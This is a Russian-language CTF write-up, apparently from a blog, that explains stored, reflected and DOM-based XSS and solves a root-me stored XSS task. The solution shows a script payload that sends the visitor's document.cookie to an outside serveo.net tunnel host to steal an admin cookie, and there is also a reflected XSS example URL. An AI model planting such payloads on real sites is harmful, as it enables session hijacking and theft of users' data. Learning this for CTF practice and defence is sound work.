Решаем CTF #2 - XSS part 0

Решаем CTF #2 - XSS part 0

By PyProHACK - tg: @pyprohack_project

Привет! Сегодня поговорим про XSS, узнаём что это такое, какие виды такой уязвимости существуют и порешаем CTF задачи на эту тему. Начнём с теории, а затем решим несколько задач с root-me.org

CTF PyProHACK

XSS - (Cross Site Scripting) атаки на веб сайты с целью внедрить вредоносный код в код ресурса. Очень часто нацелен на воровство чувствительной информации посетителей сайта (куки, токены и т.д.). Существует три основных вида XSS атак:

* Stored XSS (Хранимая XSS)
* Reflected XSS (Отраженная XSS)
* DOM-Based XSS (XSS на основе DOM)

Stored XSS

Такой вид уязвимости происходит, когда вредоносный код сохраняется в базу данных сайта (или какое - то другое хранилище) и затем отображается на страницах у пользователей

Пример: На сайте есть форма комментариев. Отправляется комментарий, содержимое которого следующее:

Данный комментарий сохранится в базе данных и будет отображаться на странице со всеми комментариями. Если защита не настроена, то код из комментария выполнится и в данном случае каждый зашедший на заражённую страницу будет видеть безобидный алерт с текстом: "HACKED". Но вместо alert можно отправить по-настоящему вредоносный код.

Reflected XSS

При такой атаке в хранилище веб - сайта не попадает вредоносный код, при такой атаке эксплойт встраивается в URL. Жертва открывает сайт, но в ссылке содержатся аргументы, приводящие к выполнению вредоноса.

Пример: https://my.site/page?counter=<script>alert("HACKED")</script>

В случае, если бэкенд некорректно обрабатывает значения аргументов в запросе, JS код из поля counter выполнится на стороне клиента.

DOM-Based XSS

В отличии от предыдущих двух уязвимостей в DOM-Based XSS вредоносный код приходит клиенту во время взаимодействия со страницей, например при динамическом поиске по странице. Такую атаку сложнее отследить в логах сервера, так как контент страницы меняется в браузере клиента, но никак не проходит через бэкенд.

Переходим от теории к практике!

XSS Stored - 1

Вводим какой - то текст в форму, отправляем и видим, что наш текст добавляется.

Попробуем ввести в форму следующий текст

Всё работает

Это простейший JS код, который показывает уведомление на странице с текстом "1". При отправке формы видим уведомление. При каждом обновлении страницы уведомление будет показываться, а значит наш скрипт успешно сохранился в базе данных. Но судя по описанию задания, нам нужно украсть куки админа.

Нам нужно как - то получить эти куки, самый простой вариант следующий:

* Запустить у себя http сервер, который будет принимать get запросы

* Пробросить его

* Отправить в форму сайта скрипт, который будет отсылать запрос нам с нужными данными

В качестве http сервера будем использовать модуль http.server для python. В терминале вводим следующую команду:

Теперь нам нужно, чтобы к нему могли подключаться из другой сети (интернета). Если у вас есть белый IP адрес, то вам достаточно просто пробросить во внешку порт, но такая опция есть не у всех, поэтому предлагаю общий способ (во втором терминале выполните команду):

Так мы запустили тунелирование трафика через serveo.net. И по выданному нам адресу мы можем отсылать запросы на наш локальных сервер

И видить данные с get запроса

Теперь в форму на сайте вставим следующий код:

<script>document.write("<img src='https://semina.serveo.net?data='"+document.cookie + "''");</script>123

Что он делает? Он создаёт картинку адрес который наш веб сервер + аргумент data со значением кукисов сайта. Наш сервер не отдаст валидную картинку, но браузер клиента отправит запрос с нужными нам данными.

Пробуем!

Сайт пытается отобразить картинку, а через некоторое время нам приходит запрос следующего вида:

/?data=ADMIN_COOKIE=ТУТ ФЛАГ

Задача успешно решена! В следущей части рассмотрим остальные виды XSS атак.
На этом всё!

Report Page